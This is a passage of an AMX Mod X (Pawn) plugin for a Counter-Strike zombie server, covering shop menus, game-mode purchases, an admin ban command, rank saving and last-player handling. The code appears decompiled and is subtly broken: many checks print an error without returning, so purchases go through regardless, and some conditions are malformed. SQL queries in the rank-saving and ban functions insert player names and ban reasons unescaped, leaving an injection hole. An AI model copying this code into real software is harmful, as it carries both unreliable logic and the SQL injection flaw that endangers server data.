client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
static cTime[3];
static i;
static bool:bDone;
static Float:fGameTime;
fGameTime = get_gametime();
bDone = true;
get_time("%H", cTime, 3);
i = 0;
while (i < g_iModeRecordings)
{
if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
{
bDone = false;
}
i += 1;
}
if (!bDone)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
}
else
{
if (fGameTime - g_fRoundStartTime < 3.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
}
if (cTime[0] == 48)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Sniper^1 during night...");
}
if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
remove_task(550, 0);
StartSniperMode(iPlayer);
remove_task(700, 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Sniper", g_cName[iPlayer]);
copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
g_iModeRecordings += 1;
g_iSnipers += 1;
}
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
}
}
case 22:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
static i;
static bool:bDone;
static Float:fGameTime;
fGameTime = get_gametime();
bDone = true;
i = 0;
while (i < g_iModeRecordings)
{
if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
{
bDone = false;
}
i += 1;
}
if (!bDone)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
}
else
{
if (fGameTime - g_fRoundStartTime < 3.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
}
if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
remove_task(550, 0);
StartNemesisMode(iPlayer);
remove_task(700, 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Nemesis", g_cName[iPlayer]);
copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
g_iModeRecordings += 1;
}
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
}
}
case 23:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
static i;
static bool:bDone;
static Float:fGameTime;
fGameTime = get_gametime();
bDone = true;
i = 0;
while (i < g_iModeRecordings)
{
if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
{
bDone = false;
}
i += 1;
}
if (!bDone)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
}
else
{
if (fGameTime - g_fRoundStartTime < 3.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
}
if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
remove_task(550, 0);
StartAssassinMode(iPlayer);
remove_task(700, 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Assassin", g_cName[iPlayer]);
copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
g_iModeRecordings += 1;
}
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
}
}
case 24:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
g_iBlinks[iPlayer] += 5;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
}
default:
{
}
}
}
return 0;
}
public _ShopMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bConnected[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
}
if (!g_bAlive[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
}
g_bDoubleDamage[iPlayer] = 1;
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Double Damage", g_cName[iPlayer]);
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
SaveRank(iPlayer);
}
}
case 1:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 114))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
}
g_bServerSlot[iPlayer] = 1;
client_cmd(iPlayer, "messagemode amx_password_for_slot");
set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
SaveRank(iPlayer);
}
}
case 2:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
}
g_bAdminModel[iPlayer] = 1;
client_cmd(iPlayer, "messagemode amx_password_for_model");
set_task(0.2, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
SaveRank(iPlayer);
}
}
case 3:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
g_iPacks[iPlayer] += 100;
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 100 ammo packs", g_cName[iPlayer]);
SaveRank(iPlayer);
}
}
case 4:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
g_iPacks[iPlayer] += 200;
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 200 ammo packs", g_cName[iPlayer]);
SaveRank(iPlayer);
}
}
case 5:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
g_iPacks[iPlayer] += 300;
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 300 ammo packs", g_cName[iPlayer]);
SaveRank(iPlayer);
}
}
case 6:
{
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
}
if (!g_bAlive[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You should be alive!");
}
g_bNoDamage[iPlayer] = 1;
set_take_damage(iPlayer, 0);
set_glow(iPlayer, 19, 32, 192, 255, 62);
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 God Mode", g_cName[iPlayer]);
SaveRank(iPlayer);
}
}
case 7:
{
new iAlive;
iAlive = GetAliveCount();
if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!");
}
else
{
if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
}
if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this feature right now!");
}
StartArmageddonMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Armageddon Round^1 through points!", g_cName[iPlayer]);
SaveRank(iPlayer);
}
}
default:
{
}
}
}
return 0;
}
public CmdLast(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 51))
{
static cAddress[24];
static cName[32];
static i;
i = 0;
while (i < g_iSize)
{
GetInfo(i, cName, 32, cAddress, 24);
console_print(iPlayer, "%32s %24s", cName, cAddress);
i += 1;
}
}
return 0;
}
public CmdAddBan(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, "a"))
{
static Float:fGameTime;
fGameTime = get_gametime();
if (!floatsub(fGameTime, g_fLastBanQuery) >= 6.0)
{
console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
return 1;
}
g_fLastBanQuery = fGameTime;
static iTime;
static iArgumentsCount;
static cReason[36];
static cTime[15];
static cTarget[32];
static cTargetName[32];
read_argv(1, cTargetName, 32);
read_argv(2, cTarget, 32);
read_argv(3, cTime, 6);
read_argv(4, cReason, 36);
iTime = str_to_num(cTime);
if (0 > iTime)
{
iTime = 0;
}
if (iTime > 175000)
{
iTime = 175000;
}
if (0 < iTime)
{
iTime = iTime * 60;
}
iArgumentsCount = read_argc();
if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
{
console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
}
static cTimeLength[32];
static cQuery[512];
if (0 < iTime)
{
GetTimeLength(iTime / 60, cTimeLength, 32);
formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, iTime, cTarget, cTimeLength);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
}
else
{
formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer], g_cSteam[iPlayer], cTargetName, cReason, cTarget);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", cQuery, hQuery, 0);
}
if (0 < iTime)
{
AddCommas(iTime / 60, cTime, 14);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", g_cName[iPlayer], cTargetName, cTime, cReason);
}
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", g_cName[iPlayer], cTargetName, cReason);
}
return 1;
}
GetZombies()
{
static iNum;
static i;
iNum = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_bZombie[i])
{
iNum += 1;
}
i += 1;
}
return iNum;
}
GetHumans()
{
static iNum;
static i;
iNum = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && !g_bZombie[i])
{
iNum += 1;
}
i += 1;
}
return iNum;
}
Float:GetEntitySpeed(iEntity)
{
static Float:fVelocity[3];
get_velocity(iEntity, fVelocity);
return vector_length(fVelocity);
}
public TaskSaveRankPlayer(iPlayer)
{
if (g_bConnected[iPlayer] && g_bRanked[iPlayer])
{
formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
}
return 0;
}
SaveRank(iPlayer)
{
if (g_bRanked[iPlayer] && g_bConnected[iPlayer])
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
{
g_fLastQuery = fCurrentTime;
formatex(g_cQuery, 255, "UPDATE r SET s=%d,k=%d,d=%d,p=%d WHERE n='%s'", g_iScore[iPlayer], g_iKills[iPlayer], g_iDeaths[iPlayer], g_iPoints[iPlayer], g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
}
g_fLastQuery = floatadd(2.0, g_fLastQuery);
set_task(floatsub(floatadd(2.0, g_fLastQuery), fCurrentTime), "TaskSaveRankPlayer", iPlayer, "", 0, "", 0);
}
return 0;
}
CheckLastPlayer(iPlayer)
{
if (g_bRoundEnd || task_exists(550, 0))
{
return 0;
}
static i;
static iPlayersNum;
iPlayersNum = GetAliveCount();
if (iPlayersNum < 2)
{
return 0;
}
if (g_bZombie[iPlayer] && GetZombies() == 1)
{
if (GetHumans() == 1 && GetCTs() == 1)
{
return 0;
}
do {
} while (iPlayer == (i = GetRandomAlive()));
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last zombie,^3 %s^1 disconnected,^4 %s^1 is the last zombie!", g_cName[iPlayer], g_cName[i]);
if (g_iPlayerType[iPlayer] & 1)
{
MakeZombie(0, i, false, true, false);
set_health(i, get_health(iPlayer));
}
else
{
if (g_iPlayerType[iPlayer] & 2)
{
MakeZombie(0, i, false, false, true);
set_health(i, get_health(iPlayer));
}
MakeZombie(0, i, false, false, false);
}
}
else
{
if (!g_bZombie[iPlayer] && GetHumans() == 1)
{
if (GetZombies() == 1 && GetTs() == 1)
{
return 0;
}
do {
} while (iPlayer == (i = GetRandomAlive()));
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Last human,^3 %s^1 disconnected,^4 %s^1 is the last human!", g_cName[iPlayer], g_cName[i]);
if (g_iPlayerType[iPlayer] & 4)
{
MakeHuman(i, true, false);
set_health(i, get_health(iPlayer));
}
if (g_iPlayerType[iPlayer] & 8)
{
MakeHuman(i, false, true);
set_health(i, get_health(iPlayer));
}
MakeHuman(i, false, false);
}
}
return 0;
}
/*MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
if (g_iZombieNextClass[iVictim] == -1)
{
menu_display(iVictim, g_iMenuZombieClasses, 0);
}
g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
if (g_iZombieClass[iVictim] == -1)
{
g_iZombieClass[iVictim] = 0;
}
if (get_user_jetpack(iVictim))
{
user_drop_jetpack(iVictim, 1);
}
g_bZombie[iVictim] = true;
set_zombie(iVictim, 1);
g_iBurningDuration[iVictim] = 0;
g_iPlayerType[iVictim] = 0;
g_bNoDamage[iVictim] = false;
remove_glow(iVictim);
g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
remove_task(iVictim + 200, 0);
remove_task(iVictim + 250, 0);
if (iAttacker)
{
send_death_msg(iAttacker, iVictim);
send_score_attrib(iVictim);
set_frags(iAttacker, get_frags(iAttacker) + 1);
set_deaths(iVictim, get_deaths(iVictim) + 1);
send_score_info(iAttacker);
send_score_info(iVictim);
g_iPacks[iAttacker]++;
if (g_iZombieClass[iAttacker] == 6)
{
set_health(iAttacker, get_health(iAttacker) + 250);
send_implosion(iAttacker);
do_screen_fade( iAttacker, 0.60, 1.15, 255, 10, 10, 94 );
set_glow(iAttacker, 19, 13, 255, 10, 10);
set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
}
if (g_iZombieClass[iAttacker] == 3)
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, iAttacker)
write_short(4096)
write_short(2048)
write_short(0)
write_byte(0)
write_byte(64)
write_byte(180)
write_byte(255)
message_end()
set_health(iAttacker, get_health(iAttacker) + 500);
set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
}
}
if (!bSilent)
{
if (bNemesis)
{
g_iPlayerType[iVictim] |= 1;
set_health(iVictim, 150000);
set_glow(iVictim, 19, 13, 250, 0, 0);
g_cClass[iVictim] = "Nemesis"
}
else if (bAssassin)
{
g_iPlayerType[iVictim] |= 2;
set_health(iVictim, 25000);
g_cClass[iVictim] = "Assassin"
}
else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
{
set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
}
else
{
set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
EmitSound(iVictim, CHAN_AUTO, g_cZombieInfectSounds[random_num(0, 4)]);
set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
if (iAttacker)
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
else
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
}
}
else
{
set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
}
if (get_team(iVictim) != 1)
{
set_team(iVictim, 1);
}
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastChangedModel >= 0.25)
{
ChangeModel(iVictim + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
g_fLastChangedModel = g_fLastChangedModel + 0.25;
}
if (g_iPlayerType[iVictim] & 1)
{
message_begin(MSG_ONE, get_user_msgid("SetFOV"), _, iVictim)
write_byte(110)
message_end()
set_monster(iVictim, 1);
}
send_damage(iVictim, 1);
send_implosion(iVictim);
InfectionEffects(iVictim);
Task_EnableFlash(iVictim);
strip_user_weapons(iVictim);
reset_armor(iVictim);
give_item(iVictim, "weapon_knife");
ExecuteHamB(Ham_Item_PreFrame, iVictim);
return 0;
}
MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
remove_task(iPlayer + 200, 0);
remove_task(iPlayer + 350, 0);
remove_task(iPlayer + 250, 0);
g_bCanBuy[iPlayer] = 1;
g_bNoDamage[iPlayer] = false;
g_bFlashEnabled[iPlayer] = false;
g_bFlash[iPlayer] = false;
g_bFrozen[iPlayer] = false;
g_bZombie[iPlayer] = false;
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
set_zombie(iPlayer, 0);
g_cClass[iPlayer] = "Human";
strip_user_weapons(iPlayer);
give_item(iPlayer, "weapon_knife");
remove_glow(iPlayer);
if (bSurvivor)
{
g_iPlayerType[iPlayer] |= 4;
g_cClass[iPlayer] = "Survivor";
set_health(iPlayer, 3000);
give_item(iPlayer, "weapon_m4a1");
cs_set_user_bpammo(iPlayer, 22, 9999);
give_item(iPlayer, "weapon_ak47");
cs_set_user_bpammo(iPlayer, 28, 9999);
give_item(iPlayer, "weapon_xm1014");
cs_set_user_bpammo(iPlayer, 5, 9999);
if (!user_has_weapon(iPlayer, 4, -1))
{
give_item(iPlayer, "weapon_hegrenade");
}
}
else if (bSniper)
{
g_iPlayerType[iPlayer] |= 8;
g_cClass[iPlayer] = "Sniper";
set_health(iPlayer, 3000);
give_item(iPlayer, "weapon_awp");
cs_set_user_bpammo(iPlayer, 18, 9999);
set_glow(iPlayer, 19, 13, 200, 200, 0);
}
else
{
set_health(iPlayer, 150);
menu_display(iPlayer, g_iPrimaryMenu, 0);
send_teleport(iPlayer);
client_cmd(iPlayer, "spk zombie_plague/antidote");
set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
}
if (get_team(iPlayer) != 2)
{
set_team(iPlayer, 2);
}
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.25)
{
ChangeModel(iPlayer + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(floatsub(floatadd(0.25, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250, "", 0, "", 0);
g_fLastChangedModel = floatadd(0.25, g_fLastChangedModel);
}
ExecuteHamB(Ham_Item_PreFrame, iPlayer);
return 0;
}
GetRandomAlive()
{
static j;
static i;
static iPlayers[32];
j = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
iPlayers[j] = i;
j += 1;
}
i += 1;
}
return iPlayers[random_num(0, j + -1)];
}*/
GetCTs()
{
static iCount;
static i;
iCount = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && get_team(i) == 2)
{
iCount += 1;
}
i += 1;
}
return iCount;
}
GetTs()
{
static iCount;
static i;
iCount = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && get_team(i) == 1)
{
iCount += 1;
}
i += 1;
}
return iCount;
}
GetAliveCount()
{
static iCount;
static i;
iCount = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
iCount += 1;
}
i += 1;
}
return iCount;
}
InsertInfo(iPlayer)
{
if (0 < g_iSize)
{
static iLast;
iLast = 0;
if (g_iSize < 10)
{
iLast = g_iSize + -1;
}
else
{
iLast = g_iTracker + -1;
if (0 > iLast)
{
iLast = g_iSize + -1;
}
}
if (equal(g_cInternetProtocolAddress[iPlayer], g_cAddresses[iLast], 0))
{
copy(g_cNames[iLast], 32, g_cName[iPlayer]);
return 0;
}
}
static iTarget;
iTarget = 0;
if (g_iSize < 10)
{
iTarget = g_iSize;
g_iSize += 1;
}
else
{
iTarget = g_iTracker;
g_iTracker += 1;
if (g_iTracker == 10)
{
g_iTracker = 0;
}
}
copy(g_cNames[iTarget], 32, g_cName[iPlayer]);
copy(g_cAddresses[iTarget], 24, g_cInternetProtocolAddress[iPlayer]);
return 0;
}
GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
static iTarget;
iTarget = i + g_iTracker % 10;
copy(cName, iNameSize, g_cNames[iTarget]);
copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
return 0;
}
public SQLLoadedRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
g_bRanked[str_to_num(cData)] = 1;
show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
return 0;
}
stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
{
if ( id && !is_user_connected ( id ) ) return 0;
if ( iColor > print_team_grey ) iColor = print_team_default;
new Message [192];
if ( iColor == print_team_default )
Message [0] = 0x04;
else
Message [0] = 0x03;
new iParams = numargs ( )
if ( id )
{
if ( iParams == 3 )
copy ( Message [1], charsmax ( Message ) -1, Msg );
else
vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
if ( iColor )
{
new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );
SendTeamInfo ( id, id, TeamName [iColor] );
SendSayText ( id, id, Message );
SendTeamInfo ( id, id, GetTeam );
}
else
SendSayText ( id, id, Message );
}
else
{
new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );
if ( !iNum ) return 0;
new iFool = iPlayers [0];
if ( iParams == 3 )
copy ( Message [1], charsmax ( Message ) -1, Msg );
else
vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
if ( iColor )
{
new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );
SendTeamInfo ( 0, iFool, TeamName [iColor] );
SendSayText ( 0, iFool, Message);
SendTeamInfo ( 0, iFool, GetTeam );
}
else
SendSayText ( 0, iFool, Message );
}
return 1;
}
stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
{
static iTeamInfo = 0;
if ( !iTeamInfo )
iTeamInfo = get_user_msgid ( "TeamInfo" );
message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );
write_byte ( iPlayerId );
write_string ( GetTeam );
message_end ( );
}
stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
{
static iSayText = 0;
if ( !iSayText )
iSayText = get_user_msgid ( "SayText" );
message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );
write_byte ( iPlayerId );
write_string ( Message );
message_end ( );
}